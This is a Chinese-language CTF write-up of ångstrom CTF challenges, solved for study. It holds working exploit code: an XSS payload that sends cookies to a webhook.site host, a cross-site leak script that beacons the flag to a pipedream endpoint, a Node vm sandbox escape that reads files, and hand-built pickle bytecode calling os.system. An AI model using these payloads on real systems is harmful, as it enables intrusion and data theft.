8 分鐘閱讀

Yet another CTF writeups ;)

Intro

這次我和Water Paddler一起參加了ångstrom CTF,最後我們拿下了第3名

這次我總共解了7題web和1題misc,另外分別有1題web和1題misc我算是有稍微參與解題,但最後是由隊友解掉了

不過我還是從那2題學到了一些東西,所以也會在底下的文章中大致介紹一下那2題的重點,和另一題我覺得值得介紹的web

我解的其他題有點水,就不介紹了,如果你還是有興趣,我有簡易的解法紀錄:

gist link

Note: 打*號的就是我有參與,但不是我解掉的題目

Cliche (web)

Overview

<script src="https://cdn.jsdelivr.net/npm/dompurify@2.3.6/dist/purify.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/marked@4.0.14/lib/marked.umd.min.js"></script>
<script>
    const qs = new URLSearchParams(location.search);
    if (qs.get("content")?.length > 0) {
        document.body.innerHTML = marked.parse(DOMPurify.sanitize(qs.get("content")));
    }
</script>

這題很短,主要就是想辦法在被DOMPurify.sanitize情況下創造可以XSS的payload

Solution

這題蠻有趣的,很多解法,我的解法可以概括成兩步:

  1. 用link的markdown把html tag拆開

  2. 用壞掉的html tag XSS

首先,可以發現[<h1>](#</h1>)這種markdown經過parse之後的結果是:

<p><a href="#%3C/h1%3E"><h1></a></p>

可以看到,h1被拆開了! 也就是說maked在parse它的時候,<h1>是拿去獨立render的!

再來可以發現,DOMPurify並不會改變一個tag attribute中的值,也就是說<p x='<style onload=alert(1)>'><p>sanitize完之後,<style onload=alert(1)>中的值不會有任何改變!

當時我就在想,如果結合以上這兩個特性,是不是就能XSS了?

最後也確實找到了解法:

以下這個markdown:

[<p x='<style onload=alert(1)>](#'></p>)

會被parse成:

<p><a href="#x">&lt;p x=&#39;<style onload=alert(1)></a></p>\n

可以發現style的tag成功跑出來了!

solution:

[<p x='<style onload=eval(atob(/bG9jYXRpb249YGh0dHBzOi8vd2ViaG9vay5zaXRlL2FiM2IyYjg5LTg1YTktNGU0YS1hNjg0LTUxN2M1ZjQwNmZmMj9mPWArZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LmNvb2tpZSk/.source))>](#'></p>)

webhook result:

flag=wow%2C%20you%20got%20it%20in%20one%20go%2C%20it'd%20be%20cool%20if%20you%20could%20show%20me%20your%20solution%3A%20actf%7Bmy_code_is_upside_down_topsy_turvy_1029318%7D

flag: actf{my_code_is_upside_down_topsy_turvy_1029318}

後來發現不只一種解法

另一種來自Strellic:

<a title="a

<img src=x onerror=alert(1)>">yep</a>

原理是連換兩行之後<img src=x onerror=alert(1)>">yep</a>被認為和<a title="a已經是分開的部分,所以成功XSS

另一種來自maple3142:

[x](y '<style>')<!--</style><div id="x--><img src=1 onerror=alert(1)>"></div>

這個的原理有點長,但其實核心的思想和我的差不多,就是想辦法讓有些應該要被當html tag的部分被當markdown,所以導致有些壞掉的tag中的內容,就成功逃脫出來了

詳細的原因可參見他的writeup

*Sustenance (web)

Overview

題目總共有兩個主要的功能:

一個讓你設cookie:

app.post("/s", (req, res) => {
    if (req.body.search) {
        for (const [name, val] of Object.entries(req.body)) {
            res.cookie(name, val, { httpOnly: true });
        }
    }
    res.redirect("/");
});

一個是oracle,查詢成功和失敗有兩種redirect的結果:

app.get("/q", queryMiddleware, (req, res) => {
    const query = req.query.q || "h"; // h
    let status;
    if (res.locals.search.includes(query)) {
        status =
            "succeeded, but please give me sustenance if you want to be able to see your search results because I desperately require sustenance";
    } else {
        status = "failed";
    }
    res.redirect(
        "/?m=" +
            encodeURIComponent(
                `your search that took place at ${Date.now()} has ${status}`
            )
    );
});

而oracle查詢的內容,普通user是經由search這個cookie獲得的,而admin則是有自己的cookie,且內容為flag:

function queryMiddleware(req, res, next) {
    res.locals.search =
        req.cookies.search || "the quick brown fox jumps over the lazy dog";
    // admin is a cool kid
    if (req.cookies.admin === adminSecret) {
        res.locals.search = flag;
    }
    next();
}

Solution

我第一個想法是使用cache probing來解:

(靈感和一些code是來自maple3142的writeup)

const sleep = async ms => new Promise(resolve => setTimeout(resolve, ms));

const ifCached = async (url, wait_time = 10) => {
    const start = performance.now();
    const controller = new AbortController();
    const signal = controller.signal;
    let timeout = setTimeout(() => {
        controller.abort();
    }, wait_time);
    try {
        await fetch(url, {
            mode: "no-cors",
            cache: "force-cache",
            signal: signal
        });
    } catch (err) {
        console.log("No cache!");
        return false
    }
    clearTimeout(timeout);
    const cost = performance.now() - start; // idk why sometime didn't abort successfully
    if (cost < wait_time) {
        console.log('Cache found!')
    } else {
        console.log('No cache!')
    }
    return cost < wait_time;
}

const test_url = 'https://sustenance.web.actf.co/?m=' + Date.now();

const main = async () => {
    window.open(test_url);
    await sleep(2000);
    await ifCached(test_url);
    await ifCached(test_url + 'dne');
}

await main();

可以藉由上面的script發現只要在同個cache key下,就能順利檢測一個url是否被造訪過

所以只需要寫一個script在open('https://sustenance.web.actf.co/q?q=actf{')之後,暴力搜尋大約2000ms的區間所對應的搜尋成功訊息是否被造訪過,即可知道查詢的query有沒有成功

而要有同個cache key也很簡單,只需要用其他題的XSS或RCE,即可製造出能夠幫忙跑script的頁面,就以xtra-salty-sardines.web.actf.co這個有XSS的頁面來說,他的cache key和sustenance.web.actf.co都是('actf.co', 'actf.co', 'sustenance.web.actf.co/?m=...'),因為他們都有同樣的eTLD+1

(詳細機制請見cache partition的介紹)

根據上述的策略,我寫了一個簡易的script來leak flag,但即使我在local有成功把flag leak出來,remote卻永遠都是false positive,所以一開始我覺得大概是走錯路,就沒繼續試這個方法了

但我後來還是有把遇到的問題放到隊伍的聊天室中,想說看看能不能提供隊友靈感

沒想到huli發現我的script其實概念上是能跑的,而之所以失敗,是因為remote的網站回應速度太快了XD

後來我也自己測試了一下,確實timeout只要改到3ms,就可以正確偵測到是否有被cache!

以下連結是huli用來解掉這題的script:

https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722

而最酷的是,後來經過huli測試發現,其實admin bot的headless chrome並沒有cache partition,也就是說他的cache機制是只看resource的連結,故就算使用不同的eTLD+1,還是會成功!

Intended Solution

其實這題並不需要cache probing,因為在/s的部分,若設定長度非常長的cookie,在查詢成功時的連結長度將會超過server能接受的上限,導致431 Request Header Fields Too Large

反之,若查詢失敗,因為連結長度比較短,所以不會有error

故只需要利用這個特性,在samesite的頁面上去偵測有無error發生,即可順利leak flag

這裡附上Strellic的解法:

<>'";<form action='https://sustenance.web.actf.co/s' method=POST><input id=f /><input name=search value=a /></form>
<script>
    const $ = document.querySelector.bind(document);
    const sleep = (ms) => new Promise(r => setTimeout(r, ms));
    let i = 0;
    const stuff = async (len=3500) => {
        let name = Math.random();
        $("form").target = name;
        let w = window.open('', name);
        $("#f").value = "_".repeat(len);
        $("#f").name = i++;
        $("form").submit();
        await sleep(100);
    };
    const isError = async (url) => {
        return new Promise(r => {
            let script = document.createElement('script');
            script.src = url;
            script.onload = () => r(false);
            script.onerror = () => r(true);
            document.head.appendChild(script);
        });
    }
    const search = (query) => {
        return isError("https://sustenance.web.actf.co/q?q=" + encodeURIComponent(query));
    };
    const alphabet = "etoanihsrdluc_01234567890gwyfmpbkvjxqz{}ETOANIHSRDLUCGWYFMPBKVJXQZ";
    const url = "//en4u1nbmyeahu.x.pipedream.net/";
    let known = "actf{";
    window.onload = async () => {
        navigator.sendBeacon(url + "?load");
        await Promise.all([stuff(), stuff(), stuff(), stuff()]);
        await stuff(1600);
        navigator.sendBeacon(url + "?go");
        while (true) {
            for (let c of alphabet) {
                let query = known + c;
                if (await search(query)) {
                    navigator.sendBeacon(url, query);
                    known += c;
                    break;
                }
            }
        }
    };
</script>

CaaSio PSE (misc)

Overview

Source code:

#!/usr/local/bin/node

// flag in ./flag.txt

const vm = require("vm");
const readline = require("readline");

const interface = readline.createInterface({
    input: process.stdin,
    output: process.stdout,
});

interface.question(
    "Welcome to CaaSio: Please Stop Edition! Enter your calculation:\n",
    function (input) {
        interface.close();
        if (
            input.length < 215 &&
            /^[\x20-\x7e]+$/.test(input) &&
            !/[.\[\]{}\s;`'"\\_<>?:]/.test(input) &&
            !input.toLowerCase().includes("import")
        ) {
            try {
                const val = vm.runInNewContext(input, {});
                console.log("Result:");
                console.log(val);
                console.log(
                    "See, isn't the calculator so much nicer when you're not trying to hack it?"
                );
            } catch (e) {
                console.log("your tried");
            }
        } else {
            console.log(
                "Third time really is the charm! I've finally created an unhackable system!"
            );
        }
    }
);

這題是一個js jail,可以看到題目在使用者的輸入上做了非常多的過濾還有字數限制:

input.length < 215 &&
/^[\x20-\x7e]+$/.test(input) &&
!/[.\[\]{}\s;`'"\\_<>?:]/.test(input) &&
!input.toLowerCase().includes("import")

而根據上述的過濾,可以產生以下所有合法的字元:

!#$%&()*+,-/0123456789=@ABCDEFGHIJKLMNOPQRSTUVWXYZ^abcdefghijklmnopqrstuvwxyz|~

My Solution

這題主要有兩個東西要煩惱:

  1. 單、雙引號、反引號都被過濾的情況下,該怎麼獲得可用的字串?

  2. .[]被過濾,該怎麼樣才能存取一個Object的屬性?

1的部分我的想法是使用js的regex,在沒有引號的情況下使用/Payload/.source來創造String,但可惜的是在2想不到辦法繞過之前,這是不可能的

解到這裡,我就稍微卡住了

但很快我就從我之前解的一個來自huli的XSS挑戰得到了靈感:

既然.[]被過濾,我有沒有機會使用urlenocde的方式將我的payload先encode,再使用unescapedecodeURIComponent等方式將其還原再eval它呢?

答案是有的!

我的解法是eval(unescape(/%2f%0aPAYLOAD%2f/))

這樣的話就相當是執行了:

//
PAYLOAD//

payload的部分順利被eval了!

接下來就是js vm escape的部分了,網路上詳細的解釋很多,payload也有很多種,這裡就不多做介紹

而我最後的解法是:

eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()

等價於執行:

//
this.constructor.constructor("return(process.mainModule.require('fs').readFileSync('flag.txt','utf8'))")//

所以也就順利拿到flag了

flag: actf{omg_js_is_like_so_quirky_haha}

Intended Solution

作者的其實想考的是withString.fromCharCode的搭配,官方解法為:

with(String)with(f=fromCharCode,this)with(constructor)with(constructor(f(r=114,101,t=116,117,r,110,32,112,r,111,99,101,s=115,s))())with(mainModule)with(require(f(102,s)))readFileSync(f(102,108,97,103,46,t,120,t))

with他的效果大概如下:

with(console)
    with(a=/hello world/)
        with(a)
            log(source)

這樣的程式碼,將可以達到console.log(/hello world/.source)的功效! 非常神奇,真的是讓我大開眼界!

*Kevin Higgs (misc)

Overview

這題是個手寫pickle bytecode的挑戰,題目source code:

#!/usr/local/bin/python3

import pickle
import io
import sys

module = type(__builtins__)
empty = module("empty")
empty.empty = empty
sys.modules["empty"] = empty


class SafeUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == "empty" and name.count(".") <= 1:
            return super().find_class(module, name)
        raise pickle.UnpicklingError("e-legal")


lepickle = bytes.fromhex(input("Enter hex-encoded pickle: "))
if len(lepickle) > 400:
    print("your pickle is too large for my taste >:(")
else:
    SafeUnpickler(io.BytesIO(lepickle)).load()

Solution

這題是我隊友skkhokho解的,但由於我對pyjail類型的題目都蠻感興趣的,所以也幫忙解了一下

這題最核心的部分就是要通過empty這個空的module get shell

要get shell的方法也不難想到,只需要通過empty.__class__.__base__.__subclasses__()拿到os.system即可,但難的是要了解怎麼手寫pickle做到這件事

以下我會介紹大致的流程:

每個bytecode的介紹可以在pickle的source code看到

首先,在編寫pickle bytecode的第一步,就是要先用PROTO這個指令指定你的protocol,方法如下:

import pickle

p = pickle.PROTO + bytes([4]) # 4代表使用protocol 4

這個protocol的部分很重要的,我一開始就是因為沒有指定protocol,所以導致預設的protocol不支援直接存取empty.__class__.__base__

下一步是通過GLOBALempty.__dict__壓入pickle的stack中(跟Python原生的bytecode做的事很類似)

p += pickle.GLOBAL + b'empty\n__dict__\n' # find_class('empty', '__dict__')

此時的stack: [empty.__dict__]

Note: 若之後想重複使用某個元素,可以使用BINPUT指令,將stack[-1]放入一個memo中,下次要使用時只需要使用BINGET即可將存在裡面的值推入stack中. For example,

p += pickle.BINPUT + bytes([0]) # memo[0] = empty.__dict__

接著,可以通過STRING指令,將"o"壓入stack

p += pickle.STRING + b'"o"\n'

此時的stack: [empty.__dict__ , "o"]

接著,跟上上個步驟類似,將empty.__class__.__base__壓入stack

p += pickle.GLOBAL + b'empty\n__class__.__base__\n' # find_class('empty', '__class__.__base__')

此時的stack: [empty.__dict__ , "o", object]

(若沒有限制,__class__.__base__.__subclassess__是可以直接獲取的,但由於題目自訂了find_class,所以不能用超過1個.)

接下來我們再用SETITEM,將stack[-2]作為key,stack[-1]作為value,將empty.__dict__['o']設為object

p += pickle.SETITEM

此時的stack: [empty.__dict__]

此時,關鍵的來了,我們只需要通過empty.o.__subclasses__,就可以拿到原本看似無法拿到的empty.__class__.__base__.__subclasses__了!

p += pickle.GLOBAL + b'empty\no.__subclasses__\n'

此時的stack: [empty.__dict__ , object.__subclasses__]

接著,只要通過EMPTY_TUPLE將空的tuple推入stack,再使用REDUCE以剛剛的空tuple作為argument tuple呼叫object.__subclasses__,即可拿到所有class !

p += pickle.EMPTY_TUPLE # [empty.__dict__ , object.__subclasses__, ()]

p += pickle.REDUCE # [empty.__dict__ , object.__subclasses__()]

剩下的步驟就大同小異了

solve.py:

import pickle
import sys

module = type(__builtins__)
empty = module("empty")
empty.empty = empty
sys.modules["empty"] = empty

p = pickle.PROTO + bytes([4])

p += pickle.GLOBAL + b'empty\n__dict__\n' # [empty.__dict__]

p += pickle.STRING + b'"o"\n' # [empty.__dict__ , "o"]

p += pickle.GLOBAL + b'empty\n__class__.__base__\n' # [empty.__dict__ , "o" , empty.__class__.__base__]

p += pickle.SETITEM # empty.__dict__["o"] = empty.__class__.__base__ = object  , [empty.__dict__]

p += pickle.GLOBAL + b'empty\no.__subclasses__\n' # [empty.__dict__ , object.__subclasses__]

p += pickle.EMPTY_TUPLE # [empty.__dict__ , object.__subclasses__, ()]

p += pickle.REDUCE # [empty.__dict__ , object.__subclasses__()]

p += pickle.BINPUT + bytes([0]) # memo[0] = object.__subclasses__()

p += pickle.POP # [empty.__dict__]

p += pickle.STRING + b'"c"\n' # [empty.__dict__ , "c"]

p += pickle.BINGET + bytes([0]) # [empty.__dict__ , "c", object.__subclasses__()]

p += pickle.SETITEM # empty.__dict__["c"] = object.__subclasses__()

p += pickle.MARK

p += pickle.GLOBAL + b'empty\nc.__getitem__\n' # [empty.__dict__ , object.__subclasses__().__getitem__]

p += pickle.INT + b"138\n"

p += pickle.OBJ

p += pickle.BINPUT + bytes([0]) # memo[0] = os._wrap_close

p += pickle.POP

p += pickle.STRING + b'"x"\n'

p += pickle.BINGET + bytes([0])

p += pickle.SETITEM  # empty.__dict__["x"] = os._wrap_close

p += pickle.GLOBAL + b'empty\nx.__init__\n' # [empty.__dict__ , os._wrap_close.__init__]

p += pickle.BINPUT + bytes([0]) # memo[0] = os._wrap_close.__init__

p += pickle.POP

p += pickle.STRING + b'"x"\n'

p += pickle.BINGET + bytes([0])

p += pickle.SETITEM  # empty.__dict__["x"] = os._wrap_close.__init__

p += pickle.GLOBAL + b'empty\nx.__globals__\n'  # [empty.__dict__ , os._wrap_close.__init__.__globals__]

p += pickle.BINPUT + bytes([0]) # memo[0] = os._wrap_close.__init__.__globals__

p += pickle.POP

p += pickle.STRING + b'"x"\n'

p += pickle.BINGET + bytes([0])

p += pickle.SETITEM  # empty.__dict__["x"] = os._wrap_close.__init__.__globals__

p += pickle.MARK

p += pickle.MARK

p += pickle.GLOBAL + b'empty\nx.__getitem__\n'  # [empty.__dict__ , os._wrap_close.__init__.__globals__.__getitem__]

p += pickle.STRING + b'"system"\n'

p += pickle.OBJ

p += pickle.STRING + b'"cat /flag.txt"\n'

p += pickle.OBJ

p += pickle.STOP

print(p, len(p))

print(p.hex())

# print(pickle.loads(p))

output:

$ python solve.py
b'\x80\x04cempty\n__dict__\nS"o"\ncempty\n__class__.__base__\nscempty\no.__subclasses__\n)Rq\x000S"c"\nh\x00s(cempty\nc.__getitem__\nI138\noq\x000S"x"\nh\x00scempty\nx.__init__\nq\x000S"x"\nh\x00scempty\nx.__globals__\nq\x000S"x"\nh\x00s((cempty\nx.__getitem__\nS"system"\noS"cat /flag.txt"\no.' 240
800463656d7074790a5f5f646963745f5f0a53226f220a63656d7074790a5f5f636c6173735f5f2e5f5f626173655f5f0a7363656d7074790a6f2e5f5f737562636c61737365735f5f0a2952710030532263220a6800732863656d7074790a632e5f5f6765746974656d5f5f0a493133380a6f710030532278220a68007363656d7074790a782e5f5f696e69745f5f0a710030532278220a68007363656d7074790a782e5f5f676c6f62616c735f5f0a710030532278220a680073282863656d7074790a782e5f5f6765746974656d5f5f0a532273797374656d220a6f5322636174202f666c61672e747874220a6f2e
$ nc challs.actf.co 31332
Enter hex-encoded pickle: 800463656d7074790a5f5f646963745f5f0a53226f220a63656d7074790a5f5f636c6173735f5f2e5f5f626173655f5f0a7363656d7074790a6f2e5f5f737562636c61737365735f5f0a2952710030532263220a6800732863656d7074790a632e5f5f6765746974656d5f5f0a493133380a6f710030532278220a68007363656d7074790a782e5f5f696e69745f5f0a710030532278220a68007363656d7074790a782e5f5f676c6f62616c735f5f0a710030532278220a680073282863656d7074790a782e5f5f6765746974656d5f5f0a532273797374656d220a6f5322636174202f666c61672e747874220a6f2e
actf{__i_miss_kmh11_pyjails__}

flag: actf{__i_miss_kmh11_pyjails__}

Summary

這次總共學到了:

  1. 利用cache probing的xs-leak與cache partition機制

  2. url的長度也可能會導致431 Request Header Fields Too Large

  3. javascript with 的神奇用法

  4. 如何手刻pickle bytecode

此外,這次也是我第一次跟一個這麼龐大而且充滿高手的隊伍一起參加CTF,實在是非常有趣的經驗、也從中學到了不少!